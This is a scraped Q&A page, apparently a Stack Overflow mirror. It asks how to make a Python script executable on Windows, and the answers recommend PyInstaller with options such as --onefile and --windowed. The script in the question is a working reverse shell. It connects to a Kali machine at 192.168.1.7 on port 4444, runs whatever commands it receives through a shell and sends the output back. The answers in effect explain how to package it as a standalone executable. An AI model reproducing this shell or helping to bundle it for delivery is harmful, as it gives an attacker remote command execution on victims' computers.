简体   繁体   中英

how to make a python file executable on windows?

#!/usr/bin/python

import subprocess import socket

sock = socket.socket(socket.AF_.NET, socket.SOCK_STREAM) sock.connect(("192.168.1.7", 4444)) # first parameter is IP address of your kali linux machine

while True: command = sock.recv(2048) if command == "q": break else: proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) result = proc.stdout.read() + proc.stderr.read() sock.send(result)

sock.close()

I would recommend the tool PyInstaller. You can find the docshere . ;)

I would suggest to first read the Using Pyinstaller section in the documentation of the module itself.

You can also use some tutorials (eg Matt Borgerson's one).

In order to recap you should:

write your script and make sure that it works

run from the command line:

~\ pyinstaller your_file_name.py

this command will generate a your_file_name.spec file where you can include all the dll required by your application and any custom settings (Using Spec Files)

once you have decided what to include in your.exe application you can run from the command line

~\ pyinstaller [option1] [option2] your_file_name.py

You can find the full list the options in the documentation.

--onefile: Create a one-file bundled executable.

--windowed: Parameter to chooseif you are compiling in Mac OS X or Windows --icon=: Choose the file to use as icon for file.

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM